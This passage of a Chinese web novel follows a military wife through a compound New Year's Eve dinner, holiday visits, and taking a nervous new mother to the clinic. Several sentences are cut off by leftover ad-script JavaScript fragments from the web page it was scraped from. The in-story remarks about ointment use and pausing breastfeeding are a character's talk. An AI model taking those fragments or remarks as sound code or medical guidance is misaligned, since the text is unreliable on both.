不然怎么把这个工作分出来了。 有些人知道如何发面醒面,却败在包包子的步骤上,怎么包都不好看。 冉文霜刚好会包包子,包得挺像那么一回事,就揽下这个活计。 让负责和面炒馅的家属轻松些。 两批包子蒸好,在她包第三批包子的时候,午睡醒来后在礼堂玩耍的小朋友跑到厨房了。 升升还好,能安静看着,芍芍特别想上手捏面团子,也想尝试包包子。 “芍芍,这里不是我们家,不能玩大家要吃的粮食,而且爸爸晚上不和我们一起吃饭,你捏出来的面团子只能自己吃。 改天妈妈在家里做包子,让芍芍一起包好不好?” 丈夫晚上在部队里吃年夜饭,没法来解决芍芍的“失败品”。 好说歹说,算是把小朋友说走了。 只是没多久,两个孩子又回来了。 芍芍噘着小嘴,不太高兴的样子。 升升解释是怎么回事。 原来他和妹妹在礼堂里跑的时候不小心撞上一个阿姨,阿姨骂他们没长眼睛。 升升看得可清楚了,他已经及时拉住妹妹,妹妹也刹住了,根本没碰到那个阿姨。 阿姨骂他们,让他们以为撞上了。 小孩子嘴笨不会反驳,就回来找妈妈告状了。 冉文霜俯身对小朋友们说:“不是你们没长眼睛,是那个阿姨的错,以后遇到她,你们躲远点,省得被撞到。” 说完“坏话”,冉文霜让孩子们待在自己身边,暂时不要到处乱跑。 芍芍大概是真的很生气,见到常阿姨,对常阿姨说起这事。 哥哥依旧在旁边当她的“翻译”。 常巧芬听完:“那你们以后要离她远点了,别和她家孩子玩,最近她丢了两块钱骂骂咧咧的,要我说肯定是她家孩子拿的,钱绝对找到了,非要骂别人几句才痛快。 没准都没被偷走,只是她自己心情不好,编理由骂人,你们离她太近会被当小偷的。” 小朋友们没指名道姓,她就知道是谁了。 厨房里有别的家属听到常巧芬的话,不由说一句:“我也觉得钱找到了或者根本没被拿走,真不见了,她绝对不会这么平静。” 骂路过小孩不长眼睛对雷韵来说属于日常,不只骂升升芍芍。 她会无差别攻击小孩子,因为小孩子好骂,就算是上级的孩子,只要惹她不悦,也要挨几句骂。 在后厨帮忙的家属性格都还好,像是雷韵这种人,根本不会让她进厨房。 放她进厨房,和放老鼠进厨房有什么区别。 芍芍听明白一点点,赶紧告诉妈妈:“妈妈,我不系小偷,不系。” “妈妈知道芍芍不是小偷,芍芍是乖宝宝,不会偷别人东西。”冉文霜赶紧安抚孩子。 她家女儿年纪还是太小了,完全不会掩饰情绪,她这样子很容易被倒打一耙,明明没做过的事情,因为急于否认,瞧着像是真做过了。 芍芍被安抚住了,专注看妈妈包包子。 在最后一批包子进蒸笼后,冉文霜总算能歇下来,带孩子去礼堂找位置坐。 常巧芬家的孩子已经占了一张离表演台子近的桌子,冉文霜被自己孩子拉着手走向他们这桌,完全坐得下,就带孩子们坐下来了。 礼堂里有放置几个煤炉子,加上家属多起来了,所以空间大也不会让人觉得很冷。 下午五点钟,台上开始表演。 大家都以唱歌跳舞为主,不会唱不会跳的就表演个诗朗诵。 冉文霜见女儿看得专注,还时不时鼓掌,笑出声来了,不知道小朋友有没有看懂。 看不懂没事,能体会到新年欢乐氛围就行。 时间来到五点半,几个饭桶粥桶被搬进大礼堂,负责端菜的家属们拿着大托盘,陆续把菜端过来。 包子是作为菜被端上来的。 芍芍见哥哥姐姐抢包子,她也想抢,稍微稳重些的升升都着急想抢了。 包子可是妈妈包的。 还是常巧芬发话维持秩序,小朋友们才没乱作一团。 包子个数有限,一人一个,不能抢的啊。 现在包子已经不烫了,是温的。 常巧芬让自家孩子先别吃包子,包子可以带回家的。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 今晚家属院的年夜饭,都不是默认了,是妇女队长直接说不要带饭盒过来。 你要是能吃,尽力吃,带走就难看了。 饭菜带不走,人手一个的包子是能带走的,她们在后厨帮忙的,吃完还能要几张菜叶子包包子带回家。 常巧芬觉得包子占肚子,不如先吃肉。 桌上另外两个妈妈也是这么交代孩子,先别吃包子了,吃肉要紧。 芍芍刚张大自己的小嘴巴,准备嗷呜一口吃包子,听到大人们的话,再看哥哥姐姐们都不吃包子了,小嘴巴一时又紧闭起来,很是为难的样子。 冉文霜给女儿想了个主意:“要不然吃妈妈这个,你们的先放着,吃完饭再带回家。” 两个小朋友都不反对。 冉文霜就将自己的包子掰成三份,三个人分不会感觉太多。 她特意在女儿尝过包子后问女儿好不好吃。 芍芍点头说好吃。 冉文霜就不告诉女儿,这包子是白菜粉条豆腐馅的。 白菜切得很是细碎,所以芍芍没认出来。 她就知道女儿不是很讨厌白菜的口感味道,只是每天吃,吃腻烦了。 如果土豆没那么多吃法,她也会讨厌土豆的。 土豆能做出花来,白菜发挥空间实在有限。 三道肉菜被端过来,白萝卜炖牛肉、锅包肉、土豆红烧肉。 仍是常巧芬出来“主持大局”,白萝卜炖牛肉和土豆红烧肉分量足,就不用按人数分配,锅包肉分量不算多,有人多吃就会有人吃不到,她来分一分。 芍芍吃包子的时候没主动夸包子好吃,吃到锅包肉,瞬间就说好吃了。 小朋友喜欢这种酸甜的口感。 升升也点头说好吃。 锅包肉够分一轮,第二轮分不遍,只剩四片了,刚好四个大人,常巧芬就分大人了,给孩子们的理由是妈妈们干活辛苦,多吃一片肉是应该的。 冉文霜分到锅包肉,见女儿眼馋盯着肉,她就问要不要吃,想吃的话,她和哥哥分。 芍芍摇头,让妈妈自己吃。 冉文霜最后给儿女各咬一口,剩下的自己吃。 分完锅包肉,大人们带着饭碗去盛饭。 7. 第 7 章 确定没锅包肉了,炖牛肉和红烧肉的味道没有让小朋友十分着迷,他们的目光又放在表演上。 三道肉菜之后,上的都是素菜,豆腐、粉条、白菜、土豆、干蘑菇、干木耳的任意组合。 冉文霜自己吃饭的同时还得盯着两个孩子吃饭,因为有表演,升升的注意力都放在表演上,不认真吃饭了,妈妈提醒了才吃。 直到吃完饭,台上的表演结束了。 桌上的饭菜已经被消灭光,大家的战斗力还是很强的。 要是没表演,能更快消灭一桌子菜。 “文霜,你家男人来找你了。”常巧芬提醒正在帮忙收拾厨余的冉文霜。 冉文霜回头看,正好看到丈夫了,连忙将两个用菜叶子包起来的包子交给丈夫:“这是升升和芍芍的包子,留到明天早上给他们当早饭,我去喊他们,你先带他们回家洗漱,我干完活再回家。” 表演结束,两个小朋友和哥哥姐姐们跑到表演台上玩了。 今天是除夕夜,她就没念叨孩子们。 吃饱饭是不可以乱跑乱跳的! “要忙到什么时候?我等你忙完,瞧孩子们的样子,我现在带他们回家,他们也不愿意回去。”谢衡不是很着急离开。 冉文霜看向孩子们……确实是不太愿意回家的样子。 她估摸着:“可能还得一个钟头。” 只来吃饭的家属,吃完饭就离开了,她们帮忙的需要多留会儿。 不白帮,结束会分她们些粮食。 谢衡决定留下来等人:“等你们擦干净桌子,我来帮忙搬桌椅。” 常巧芬听到:“不愧是谢营,思想觉悟比一般人高,我家那口子这会儿估计在家里炕上躺着起不来。” 冉文霜:“汤营刚执行任务回来,在部队过完除夕是该回家躺着。 我家的最近没任务,所以让他帮忙没事情,他要是刚执行任务回来,我不会让他在这里帮忙了,赶也把他赶去家里休息。” 因为爸爸最近天天在家,芍芍已经认识爸爸了,看到爸爸,小朋友连忙双手双脚并用,爬下小小的表演台子,小跑到爸爸身边。 芍芍记仇着呢,在厨房和妈妈、常阿姨告完状后就找爸爸告状。 见到女儿告状的小模样,冉文霜心里记下小笔记。 自家闺女看着没心眼,实则很会记仇。 吃完一顿饭了还记得“没长眼睛”的事情。 看来不能因为芍芍年纪小而低估她的记性。 常巧芬在把碗盘端到后厨洗掉之前,对冉文霜说起:“你得学学你家闺女,该告状的时候就告状,不要憋闷在心里。” 她留下句意味不明的话就走了。 谢衡听到,问妻子发生什么了。 冉文霜:“我也很想知道发生什么,巧芬大概是想到我不喜欢吵架的性格,有点恼火,认为我不争气吧。” 谢衡的看法是:“受了委屈还是该说出来的。” 自家闺女都不指望爸爸“报仇”,只想告状,告完状回去台子上和哥哥姐姐们一起玩。 不痛快就说出来,对许多人说出来,对小朋友来说是种消气的方式吧? 这点,他希望妻子能学学。 “我是有正常情绪的,只是比别人更难产生不好的情绪,心态实在太平稳,挺适合当特种兵或者侦察兵的。”冉文霜开自己的玩笑。 谢衡:“确实,你是当军人的好苗子,尤其适合从事考验心态的兵种。” 她忍不住笑道:“可惜已经是该退伍的年纪了。” 她不再闲聊,先把活忙完。 ... 回到家里,冉文霜从谢衡嘴里听到个消息。 “我也想过这事,还奇怪她家那位是不是有关系,差不多四十岁了还留在部队。”她听丈夫说起,雷韵的丈夫大概在九月份离开 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 部队,新的一年会安排转业。 雷韵自己也是三十好几的年纪了,冉文霜印象里,自己刚到家属院的时候,雷韵就在了。 她结婚没多久就随军,巧芬随军都没她早。 听别的家属说,雷韵在家属院待了超过十五年。 她们的丈夫现在都是营长。 一个不到三十岁,一个四十岁左右,待在同个位置,显而易见,后者是晋升无望了。 谢衡告知原因。 原是十几岁的时候立过功劳。 冉文霜推算时间,大概知道是什么战役立功,如果在那几场战役立过功劳,那在部队待这许多年,确实说得过去了。 不用谢衡细说,她也知道后面发展了。 对方实在没多少能力,也没有去军校进修的上进心,给他安排转业,算是让他一辈子过得不会太艰辛了。 芍芍今天晚上兴致比较高,洗漱完毕爬到被褥上,拉着哥哥一起给爸爸妈妈表演节目。 就是晚上学来的唱歌跳舞。 今晚表演的家属不是专业文工团出来的,大部分能豁得出去上台表演的,都是为了表演节目送的粮食。 小部分是热爱唱歌,那一嗓子出来就感觉和别人不一样了。 看着儿女的表演,冉文霜笑着夸道:“我们家两个小朋友真是人间百灵鸟。” 谢衡听不出孩子们的干嚎有任何旋律可言,完全不知道在唱哪首歌。 有一点可以确定。 文霜是在打趣孩子们。 小朋友们不知道妈妈在打趣,还问妈妈百灵鸟是什么? 冉文霜解释:“是叽叽喳喳很好听的鸟儿。” 两个小朋友就当妈妈是赞美他们了,继续唱给妈妈听。 最后还是妈妈阻拦,他们才愿意安静下来躺被窝里睡觉。 明天是正月初一,妈妈告诉他们要早起出去玩,他们就老实睡了。 8. 第 8 章 大清早就能听到外面小朋友玩耍的声音。 升升芍芍听到动静,急匆匆想要出门。 冉文霜头次见他们这么积极从被窝里出来。 “爸爸,看。”芍芍晃了晃自己穿了三双袜子的小脚丫。 谢衡已经知道闺女让自己看什么了:“妈妈给你织的新袜子真好看,上面是小牛对吧?” 儿女今天都穿了喜庆的红色棉袄,并不是新衣服,全身上下只有袜子是新的。 只有袜子是新的,小朋友们也很欢喜。 芍芍点头应:“对,系小牛。” 新的一年是牛年,冉文霜给孩子们织了小牛袜子,完整细致的牛是织不出来了,只能织个简易小牛。 猜想到芍芍可能会炫耀自己的新袜子,她特意把小牛织在袜筒的位置。 织在脚背脚底,她不怀疑女儿会脱掉小棉靴子给别人看新袜子。 芍芍在穿上新袜子之前还着急出门,穿上以后就不着急了,要先向爸爸炫耀自己的新袜子。 在哥哥下炕穿上棉靴子后,她才知道着急,让哥哥等等自己,再让爸爸帮自己套棉靴。 手短腿短的小朋友已经穿成一个小球了,靠自己套靴子有点艰难。 冉文霜帮两个小朋友穿好衣裤袜子后就去厨房做早饭了,只剩鞋子没穿,爸爸总不能笨到都不会帮孩子穿鞋。 谢衡不笨,帮女儿套好棉靴后,跟着孩子们来到厨房。 小朋友们着急出门,冉文霜不拦着,让他们先玩会儿,到吃早饭的时间再来喊他们回家吃早饭。 芍芍升升出来就看到隔壁的大雪人了。 隔壁家的哥哥姐姐说是他们爸爸帮他们堆的大雪人。 所以没等谢衡把板凳坐热,就被孩子们叫出去堆雪人了。 冉文霜没管大人小孩,今早的早饭以蒸煮为主,不需要人盯着太久,该蒸的都蒸上,该煮的也都煮了,她去准备年货盘。 没多少种类,就是瓜子、花生和江米条。 她今天上午不出门,在家里招待客人,下午再去几个关系还行的家属家里串门。 冉文霜喊丈夫孩子:“可以来吃早饭了,吃完饭再堆雪人。” 幸好两个小朋友知道冷,妈妈喊了,他们立刻进屋子里,明明是小短腿,速度却比大长腿的爸爸快,赶在爸爸之前进屋了。 小朋友把妈妈当暖炉。 问他们快速暖和起来的方法,他们会回答抱住妈妈。 冉文霜将两个孩子拥进怀里。 拥抱两个孩子实在有些吃力了,如果丈夫身上暖和,她就让丈夫抱一个,分担小朋友们的冷了。 她还不知道放在平常爸爸不冷的时候,小朋友们也不想被爸爸抱,被爸爸抱着感觉更冷了。 爸爸是堆雪人主力,在芍芍心里记大功了,所以她还在妈妈怀里的时候就让妈也抱抱爸爸。 冉文霜:“行啊,等你们暖和起来就抱爸爸。” 爸爸什么时候被抱,主要看小朋友们什么时候觉得暖和了。 在他们说暖和了的时候,冉文霜第一件事不是去拥抱丈夫,而是先把早饭盛出来,盛完早饭才意思性抱抱丈夫。 没成想丈夫把她拢在怀里,她放手了,他没放手。 两个小朋友正在自己摘手套戴口水兜,看见爸爸妈妈搂搂抱抱没多少反应。 芍芍年纪太小,做什么都费劲,在哥哥帮助下才成功摘下手套戴好口水兜。 “好啦,暖和了吧……芍芍,吹凉后再喝粥。”自家女儿手用着不太灵活就自己拿勺子舀粥喝,即使没洒落烫到手,吃进嘴里也会烫到舌头。 谢衡闻言,总算放开妻子。 他知道,要是闺女烫到了,会全赖在他身上。 芍芍听到妈妈的话了,学着哥哥吹粥,在妈妈说可以吃的时候才把粥送到嘴里。 昨晚的包子,小朋友们就拿来和爸爸妈妈分享了。 吃过早饭,两个小朋友再次催着爸爸去堆尚未完成的雪人。 贺志年和妻子过来的时候,雪人已经完工。 两个小朋友跟别的小朋友在打雪仗,能看出升升打得很艰难,一边保护妹妹,一边丢雪,都来不及捏成雪球。 芍芍仍没意识到自己只有挨打的份 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,腿太短,不确定是蹲着还是坐着,正努力搓雪球。 见家里有客人过来,芍芍把刚捏好的雪球交给哥哥,自己往家里赶。 穿太多走路不大稳,摇晃着往家里赶的时候,被雪球砸了一下。 所幸穿得厚,没摔倒在地。 “芍芍,你现在是一个小雪人,妈妈抱你都要哆嗦了。”冉文霜拍了拍女儿身上的雪。 芍芍自己也在哆嗦,后知后觉的冷。 等她稍微暖和起来,哥哥也回家了。 妈妈抱哥哥,芍芍走到叔叔阿姨身边,弯腰笨拙地挽起裤脚给叔叔阿姨看。 谢衡主动解释女儿在外人眼里的“异常”行为:“文霜给孩子织的袜子,上面有小牛,芍芍见到谁都想炫耀一下自己的袜子。” 贺志年明白了,笑着说:“真好看,弟妹心灵手巧,连袜子都会织。” 冉文霜:“我也是学了好久才学会,两个孩子穿的新袜子,我断断续续织了四个月才完成,平均一个月一只袜子。” 薛淑玲:“还是你有耐心,我压根没耐心学编织,围巾都不会织。” 贺志年是有眼色的:“你愿意和我结婚就证明你的耐心也很足。” 冉文霜立刻懂了他话里的意思,用升升作遮挡,低头抿嘴笑。 她能听懂,薛淑玲这个枕边人肯定也听懂了:“说的没错,连谢衡都会被你逼得火冒三丈,我还能以平常心和你过日子,证明我很有耐心。” 谢衡没反驳。 他确实会因为贺志年的嘴欠冒火。 外面有小孩来喊升升,升升犹豫过后,隔着门向外面喊,他现在太冷了,暂时不出去玩了。 说完就回到妈妈身边,芍芍已经炫耀完袜子,也回到妈妈身边了。 贺志年又对着谢衡嘴欠:“你看看,你家孩子没一个愿意待在你旁边。” 薛淑玲就是来克制丈夫的:“五十步笑百步,我们家孩子也不愿意待在你身边,都是你巴巴凑过去。” “媳妇,你别揭我短了。” “你也别揭谢衡短了,一天天的,这张嘴不知道歇着。” 9. 第 9 章 冉文霜笑够了,剥一颗花生给孩子们吃。 花生放在煤炉边角烤了一会儿,味道更香了。 经过煎烤炒制的花生都不宜吃太多,剥了两颗喂给孩子们吃后,她就不剥了。 两个孩子不想摘下手套剥花生,又想吃花生,确定妈妈不会再剥给他们吃了,找爸爸剥。 遇到吃的,小朋友们知道靠近爸爸了。 谢衡剥之前先看向妻子,确定她没有对他使眼色,知道可以再剥一两颗给孩子吃,于是开始慢慢剥花生。 汤泽刚常巧芬夫妻过来后,贺志年薛淑玲夫妻同他们打过招呼,聊了几句便离开。 因着小姑子才离开家属院没多久,常巧芬今年过年话题是离不开小姑子了。 常巧芬说了一会儿,看到专心吃花生喝茶的丈夫就来气:“是你亲妹还是我亲妹?你当大哥的一点都不关心! 我随军之前,又带孩子又干活,都是小妹帮我干家务,随军之后更累,什么都要我自己干,永远不见你人影,我要你有什么用!” 太气了! 家庭矛盾即将升级。 谢衡没脸出来劝和,毕竟他没好到哪去,妻子怀孕生养孩子,他也没法时时陪在她身边,大多时候只能她自己熬过来。 冉文霜不会轻易掺和夫妻之间的矛盾,她肯定是站巧芬这边的,然而配合巧芬说话,像是在间接指责自家丈夫。 她觉得自家丈夫已经做得挺不错了,没什么好指责的,所以选择安静不说话。 这会儿说多错多。 爸爸妈妈不劝,升升来劝:“阿姨,过年不能骂小孩子。” “汤叔叔是小孩子吗?”常巧芬被升升的话吸引注意力,火顿时熄了一大半,暂时不指责丈夫了。 升升:“也不能骂大人,不能吵架。” “你从哪学来的?”常巧芬不信是文霜教的。 他们家能发生吵架骂小孩的事? 身为妈妈的冉文霜也好奇升升从哪学来的,她从没教过升升这些话。 因为她爸妈就是情绪很稳定的人,她小时候也没有被父母打骂过,所以从没和丈夫孩子提过过年不能打骂孩子的“习俗”。 不算习俗吧,就是约定俗成。 大过年的,吵架打架实在影响心情。 从升升嘴里得知,原来是小伙伴挨妈妈打,嚎叫着过年不能打小孩,被他记在心里了。 芍芍也有点印象,昨天下午发生在大礼堂的事。 她咿咿呀呀一通,把昨天看到听到的告诉妈妈。 冉文霜点头:“原来如此。” 假装自己听懂了。 谢衡都不知道女儿在讲什么,只跟汤泽刚说起:“你家离得不算很远,开春休几天,回家解决一下你妹妹的事情。” 丈夫开口,冉文霜也说:“我们家就决定初六回去看望爸妈,元宵之后再回来。 前面几年没法带孩子出远门,现在孩子们长大点,我们带他们回去认认长辈。” 前几年因为孩子,她实在不方便出远门回老家,都是爸妈公婆在不冷的时候过来看望他们。 家里没有多余房间床铺给他们住,都是让他们住在部队招待所里的。 他们空闲时间也不多,基本是轮流来,公婆来不了就爸妈来,爸妈来不了,换公婆来。 谁能抽出空谁来。 毕竟路上半天时间,来回就要一天,他们的介绍信不如身为学生的翠玉好开。 翠玉还有寒暑假,他们可没有。 见面机会太少,现在即使是爷爷奶奶外公外婆站在面前,升升都认不出他们谁是谁。 如今芍芍都会走路了,可以带孩子们回去了。 常巧芬听到这个消息:“到火车站要小心小偷和拐子,看好孩子和钱票……小偷敢偷军人的东西,真是耗子给猫送菜了。 你们带着孩子很不方便,要带土特产回家的话,不要带蘑菇木耳这些干货占地方,带红肠红参之类的回去,稍微贵重点。 回去总得带些换洗衣服,能穿身上的就穿身上。” 她和丈夫老家就在本省,一年到头,她会抽出些时间带孩子回去几趟,他们给公婆带去什么,公婆让小姑子带或者寄过来什么,都是心意,不拘便宜贵重。 文霜家的情况,还是该带点贵重的回去。 冉文霜认真听完:“你说的对,我明天开始仔细理理行李。” 升升听了好一会儿,问妈妈,他们要去哪? 见芍芍也是好奇的模样,冉文霜就给两个孩子解释去哪。 不确定小朋友们有没有听明白,只见他们点点头,这回不用别的小朋友喊,暖和起来自己跑外面玩了。 被升升一打岔,屋里剑拔弩张的气氛终于消散。 冉文霜不想掺和夫妻之间的矛盾, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 却是能说点汤翠玉的事,在翠玉的事上她有点自己的看法。 常巧芬现在情绪平静下来了,知道骂丈夫无济于事,想办法解决问题才更要紧。 ... 下午,冉文霜带着丈夫孩子来到唐红娇家里。 唐红娇家的年货盘挺丰盛,有各种糖果。 两个小朋友眼睛都离不开年货盘了。 同唐红娇夫妻说了几句话,冉文霜注意到唐红娇欲言又止的神情,便借着看孩子为由,要去他们家里屋看看。 进去之前,她警告自家两个小朋友:“今天上午在家吃不少花生了,不能再吃花生瓜子,阿衡,你看着他们。” 唐红娇在边上说:“想吃糖可以拿些糖回家,过两天再吃。” 冉文霜补充:“每人最多拿两颗糖。” 她说完随唐红娇进去看看孩子。 升升芍芍专心挑糖,就没跟着妈妈进去里屋了。 进来里屋,唐红娇没有立刻说出自己的烦恼。 冉文霜听了几分钟,只能告诉她,她过几天要回家,元宵后才回来。 一听她要离开一段时间,唐红娇终于不再支支吾吾,说出了自己的烦恼。 如果冉文霜再离她两步远,压根听不清她说什么。 了解到她的烦恼,她轻声说出想法:“孕期哺乳期妈妈身体免疫力下降,你这个毛病应该是皮肤病,过年期间值班的是小岑医生,不要因为小岑医生没结婚,年纪轻,就质疑她的水平,也别害怕医生。” 唐红娇已经把烦恼说出来了,轻松不少:“我不是质疑医生的水平,只是不好意思开口。” 冉文霜知道不好意思是一个原因,另一个原因还是唐红娇“讳疾忌医”,害怕看病,害怕医生。 唐红娇随军不超过一年,现在躺在炕上睡觉的孩子是头胎,她没多少当妈妈的经验。 她和她认识是看她顶着大肚子在卫生所附近晃悠,她想着家属院这种地方,应该不会遇到碰瓷的孕妇,就忍不住多嘴问她有什么事。 原来是不敢进卫生所。 家属院卫生所一共两位医生,都是女性。 一位是年纪稍长的廉医生,另外就是小岑医生了。 小岑医生来家属院有两年了,在来家属院之前经过培训学习,跟着老师看过许多病的。 来到家属院后,充当廉医生助手,也有不少经验。 10. 第 10 章 她清楚唐红娇不是不信赖医生,单纯害怕医生,害怕医院。 和她一样的人不在少数。 当时她陪她进卫生所了。 唐红娇身体本来就不是很健康,怀孕后免疫力下降,毛病一个接一个来了。 冉文霜一直在旁边陪着,听到廉医生的询问和唐红娇本人的回答,大概知道怎么回事了。 不得不交代她,孩子出生后记得打疫苗。 也不用特意交代,廉医生岑医生能给妈妈们接生,新生儿疫苗接种事宜,两个医生会安排好的。 唐红娇在孩子的事上不糊涂,医生说什么是什么,自己的身体就有些拎不清了。 她要是病倒了,那么小的孩子可怎么办。 指望三天两头不在家的丈夫? 指望老家的爸妈公婆? 指望这些人不如指望自己。 这次,冉文霜也没有细问更多病症,交给小岑医生解决。 她要是多问几句,会让唐红娇以为她能治病,以后都不去看医生,直接找她看病了。 “你能陪我去卫生所吗?我把锅包肉的做法交给你。”唐红娇不敢一个人去,因为是在胸部,她也不想告诉丈夫。 昨晚的锅包肉就是她做的,她在自己家里做好,其他家属端到大礼堂去的。 冉文霜:“只是件小事,不用给我锅包肉做法了,我知道做法很麻烦,我连食材都凑不齐,就算都凑齐并且学会了,我家孩子天天缠着我做锅包肉,我也很头疼。” 不要试图教会她锅包肉做法,她宁愿多学几个袜子样式。 “是很麻烦,昨天做的锅包肉食材,靠我自己也没法找全,光是油就很难办,要不是妇女队长说她那边能去凑齐,我都没法做出来。”她爸是国营饭店厨子,锅包肉是他拿手菜,爸爸把做法交给她了,她自己动手做过,成功了。 她爸爸是国营饭店的厨子不算秘密。 跟两三个家属提过,一传十,十传百,认识她的差不多都知道她爸爸是厨子了。 妇女队长找她问,她有没有拿手菜。 她就提自己会做锅包肉。 现在身体比较重要,想不出有什么值钱的东西,只有锅包肉做法了。 文霜不要做法,她也不会强硬给她。 冉文霜问她:“今天就去吧?你要是觉得现在出去很尴尬,过会儿我带阿衡和孩子们走人,回家后编个理由出来。 就四点钟吧,四点钟在卫生所后门碰头,到时候我陪你去卫生所。” 怕她犹豫不决,她帮她决定好时间。 唐红娇没有异议。 商量好了,两人从里屋来到待客的厨房。 “妈妈说了什么,不是最多两颗吗?”小朋友们戴着手套,她也能看出他们小手套里攥了几颗糖。 两个小朋友还有“正当理由”,妈妈说一人两颗,升升帮爸爸挑了两颗,芍芍帮妈妈挑了两颗。 四个人八颗,没问题吧? 唐红娇不介意:“再拿几颗也没事。” 冉文霜:“不用,已经够了,再让这两个孩子拿,他们能把整盘端走。” 小朋友们听懂红娇阿姨的话,视线又落在年货盘上。 冉文霜不再久留,带丈夫孩子离开。 ... “有渗出吗?”岑米粒询问。 “有的,我喂奶前都会擦洗一下,我不确定长时间下来孩子喝了我的奶会不会生病。”既然都到了医生面前,唐红娇不隐瞒了。 岑米粒:“你清洗过了是不会影响孩子的,方便让我看看吗?” 听到这话,冉文霜去外间休息等候区待着。 她想想该如何劝说唐红娇不要畏惧独自看病,也不要不好意思让丈夫陪同。 里面很快看好,她都没来得及开始想,唐红娇就说好了,喊她可以进来了。 她忽然有种自己是下一个病人的错觉。 见唐红娇比起医生,更信赖冉文霜的样子,岑米粒也没有多少反应,给唐红娇开出药膏,交代她用法用量和不良反应。 三天后没任何效果再来卫生所,那会儿廉医生会在卫生所里。 冉文霜叮嘱唐红娇:“没任何效果一定要再来看看,按医生的说法,有用你也得在用三天后停用一段时间,这个药膏不能频繁使用。 不管白天晚上,擦药膏期间你都得停止喂奶,给孩子喂点别的食物。” 刚好她生养过两个孩子,知道这个月龄的孩子能吃什么食物。 身为军人家属,不说丰衣足食,待遇肯定比一般人好很多的,可以给孩子捣鼓些肉泥蔬菜泥。 唐红娇点头。 冉文霜知道她并不算个粗心的妈妈,连锅包肉都能做出来的人,喂孩子也不成问题:“没事你先回家吧,我和医生是老乡,有几句话要聊聊。” 唐红娇知道冉文霜和岑米粒认识,没打扰两人叙旧,先带着药膏离开。 她离开后,岑米粒就开口:“冉老师,我刚才开的药膏没问题吧?” “你别开我玩 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 笑了,我又不懂,我留下来真有事要说,我过几天回家,你需要我带信回去吗?” 她和小岑医生确实认识,小岑医生学的是西医,叔叔是中药老师,刚好是她的老师。 岑米粒能来部队家属院卫生所,是托了叔叔的关系。 在侄女过来前,老师写信给她这个学生,让她们互相照应。 岑米粒:“幸好你不是学西医的,我真怕你说,我来考考你……我看到你和看到中西药双修的叔叔差不多,害怕。” “那我以后要少出现在你面前了。” 岑米粒不贫嘴了:“信是有的,我尽量在你回去前写好。” “行。” “冉姐,这些钱票给你,票是全国通用的,麻烦你买些东西送我爸妈。 至于我叔叔那里,你要是怕见到老师,就不用亲自给我叔叔了,让我爸妈转交给叔叔吧。”岑米粒从包里取出钱票。 冉文霜不怕老师:“你自己先收着,等我出发前一天再给我,我安顿下来就买礼品提过去,记得写信的时候把家里具体地址写下来。” 她不知道她家具体地址,老师家的地址倒是知道。 总不能先去老师家要地址吧? “嗯,我会写下来的。” 没事情要说了,冉文霜从卫生所离开,回到家里。 丈夫在家里剁包饺子需要的肉泥,她问两个孩子在哪,他说在炕上玩。 “没让他们吃糖吧?” 今天正月初一,小岑医生一个人在卫生所值班,她去看看,顺便问要不要帮忙带信,她是用这个理由出门的。 出门前交代过丈夫不要给孩子吃糖吃任何零嘴。 “没有,都放厨柜抽屉里了。” “行,这两天可不能给他们吃糖。”她去里屋看看孩子,见孩子们都好好的,就待在厨房里洗白菜。 白菜也要加入饺子馅里。 饺子馅是由猪肉、豆腐和白菜组成。 白菜豆腐不会放太多,放太多就没有猪肉味了。 馅调好后,可以擀皮包饺子了。 冉文霜问自家男人有关唐红娇丈夫的事。 问他在部队里是什么样的人,会不会和战友们说些荤话。 知人知面不知心,她对唐红娇丈夫了解不多,要稍微打听些消息才能想该从哪方面劝唐红娇不要怕医生。 不要不好意思让丈夫陪自己看病。 她又不是时时都有空陪她去卫生所看病,总不能指望一辈子都由她陪着吧? 11. 第 11 章 不要把老公当摆设。 她得想想,她这些病是老公间接导致的。 如果唐红娇丈夫人品不好,她就不劝她让丈夫陪同看病了。 拿老婆当荤话谈资……当没这个老公好了。 如果唐红娇丈夫真陪她去看病了,以后她丈夫多嘴和战友们提起老婆这些毛病,那么被唐红娇恨上的可能不只是唐红娇的丈夫,还有她这个提议的外人。 所以说她真不想掺和夫妻之间的事。 这次是为了唐红娇的身体健康,不得不破例操心一番。 谢衡和唐红娇男人不在一个团,不过在同个部队,难免会碰到:“应该是个正经人,比贺志年正常很多,他怎么了?” 他只能说个大致印象。 感觉不是会说荤话的浑不吝类型。 冉文霜没有对丈夫明说:“我不知道能不能跟红娇说以后也让她老公帮忙照看孩子,这种天气多冷啊,一个人照看孩子很辛苦,爸爸在家肯定要让爸爸帮忙的。 要是她家男人人品不行,那还是算了。 人品好的男人照看孩子都粗心,人品不好就更糟糕了,让他照看孩子,只会给妈妈添堵。 我身体还算好,除了天生的原因,还因为我情绪平稳,不暴躁易怒。 今天巧芬差点和她老公吵起来……我瞧着她比一直吃花生的汤泽刚容易上火。 女人很多病是情绪病。 我希望她的男人能陪她带孩子,减少情绪病产生的可能性。 你别奇怪我话这么多,我看不下去有新生儿的家庭,妈妈又要干活又要带孩子,爸爸完全不管不顾。 军人辛苦,军嫂也很不容易。” 她不是医生,却有义务为唐红娇保密,不能让她失去对她的信任。 丈夫不是多嘴的人又如何。 她想到自己私密地方得病,让唐红娇陪她看病,唐红娇转头就和她的丈夫提。 她会很难堪。 军人是职业,不代表军装下的人是好人,或许有大义,私德却一言难尽。 谢衡相信了她的说辞:“虽然我们都粗手粗脚的,但现在孩子没有饥荒时期脆弱,出生就打疫苗,容易养活,他再不愿意带确实是他的问题了。” “是的,抛开你的忙碌不说,你是个很及格的爸爸,没给我发火的机会。” 谢衡挺满意很及格这样的评价,没给妻子添堵已经不错了。 冉文霜忍不住交代:“你不要和她丈夫说什么,就当没听过我的抱怨,家属院谁家有新生儿,我都会忍不住关注一下。” “行的,我俩不是一个团,交谈机会很少,不用怕我说漏嘴。” 